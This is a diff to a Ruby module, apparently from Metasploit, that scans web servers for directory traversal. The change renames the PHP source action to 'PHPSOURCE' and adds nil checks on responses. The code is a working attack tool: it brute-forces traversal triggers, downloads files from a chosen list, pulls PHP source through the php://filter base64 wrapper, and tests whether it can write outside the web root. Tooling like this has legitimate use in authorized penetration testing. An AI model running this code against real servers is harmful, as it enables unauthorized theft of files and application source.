@@ -24,9 +24,8 @@ def initialize(info = {})
24
24
directory traversal exists in the web server, and then return the path that
25
25
triggers the vulnerability. The 'DOWNLOAD' action shares the same ability as
26
26
'CHECK', but will take advantage of the found trigger to download files based on
27
- a 'FILELIST' of your choosing. You also can to download php source code files using PHPDOWNLOAD
28
- based in a crawled list.
29
- The 'WRITABLE' action can be used to determine
27
+ a 'FILELIST' of your choosing. The 'PHPSOURCE' action can be used to download
28
+ source against PHP applications. The 'WRITABLE' action can be used to determine
30
29
if the trigger can be used to write files outside the www directory.
31
30
32
31
To use the 'COOKIE' option, set your value like so: "name=value". To use
@@ -45,7 +44,7 @@ def initialize(info = {})
45
44
[ 'CHECK' , { 'Description' => 'Check for basic directory traversal' } ] ,
46
45
[ 'WRITABLE' , { 'Description' => 'Check if a traversal bug allows us to write anywhere' } ] ,
47
46
[ 'DOWNLOAD' , { 'Description' => 'Attempt to download files after bruteforcing a trigger' } ] ,
48
- [ 'PHPDOWNLOAD ' , { 'Description' => 'Attempt to download php source code files' } ]
47
+ [ 'PHPSOURCE ' , { 'Description' => 'Attempt to retrieve php source code files' } ]
49
48
] ,
50
49
'DefaultAction' => 'CHECK'
51
50
) )
@@ -235,7 +234,7 @@ def lfi_download(trigger, files)
235
234
req = ini_request ( uri = ( datastore [ 'PATH' ] + trigger + f ) . chop )
236
235
res = send_request_cgi ( req , 25 )
237
236
238
- vprint_status ( "#{ res . code . to_s } for http://#{ rhost } :#{ rport } #{ uri } " )
237
+ vprint_status ( "#{ res . code . to_s } for http://#{ rhost } :#{ rport } #{ uri } " ) if res
239
238
240
239
# Only download files that are withint our interest
241
240
if res and res . to_s =~ datastore [ 'PATTERN' ]
@@ -249,9 +248,9 @@ def lfi_download(trigger, files)
249
248
print_status ( "#{ counter . to_s } file(s) downloaded" )
250
249
end
251
250
252
-
251
+
253
252
#
254
- # Action 'PHPDOWNLOAD ': Used to grab the php source code
253
+ # Action 'PHPSOURCE ': Used to grab the php source code
255
254
#
256
255
def php_download ( files )
257
256
counter = 0
@@ -262,22 +261,18 @@ def php_download(files)
262
261
req = ini_request ( uri = ( datastore [ 'PATH' ] + "php://filter/read=convert.base64-encode/resource=" + f ) . chop )
263
262
res = send_request_cgi ( req , 25 )
264
263
265
- vprint_status ( "#{ res . code . to_s } for http://#{ rhost } :#{ rport } #{ uri } " )
264
+ vprint_status ( "#{ res . code . to_s } for http://#{ rhost } :#{ rport } #{ uri } " ) if res
266
265
267
- # Only download files that are withint our interest
268
- #if res and res.to_s =~ datastore['PATTERN']
269
- # We assume the string followed by the last '/' is our file name
270
- fname = f . split ( "/" ) [ -1 ] . chop
271
- loot = store_loot ( "php.data" , "text/plain" , rhost , Rex ::Text . decode_base64 ( res . body ) , fname )
272
- print_good ( "File #{ fname } downloaded to: #{ loot } " )
273
- counter += 1
274
- #end
266
+ # We assume the string followed by the last '/' is our file name
267
+ fname = f . split ( "/" ) [ -1 ] . chop
268
+ loot = store_loot ( "php.data" , "text/plain" , rhost , Rex ::Text . decode_base64 ( res . body ) , fname )
269
+ print_good ( "File #{ fname } downloaded to: #{ loot } " )
270
+ counter += 1
275
271
end
276
272
print_status ( "#{ counter . to_s } source code file(s) downloaded" )
277
273
end
278
274
279
-
280
-
275
+
281
276
#
282
277
# Action 'WRITABLE': This method will attempt to write to a directory outside of www
283
278
#
@@ -354,18 +349,16 @@ def run_host(ip)
354
349
return if trigger . nil?
355
350
is_writable ( trigger )
356
351
357
- elsif action . name == 'PHPDOWNLOAD '
352
+ elsif action . name == 'PHPSOURCE '
358
353
trigger = ini_trigger
359
354
return if trigger . nil?
360
355
files = load_filelist
361
356
php_download ( files )
362
-
363
-
357
+
364
358
elsif action . name == 'DOWNLOAD'
365
359
trigger = ini_trigger
366
360
return if trigger . nil?
367
-
368
-
361
+
369
362
# Load up a file list that we wish to download, and then attempt to download them
370
363
# with our directory traversal trigger
371
364
files = load_filelist
0 commit comments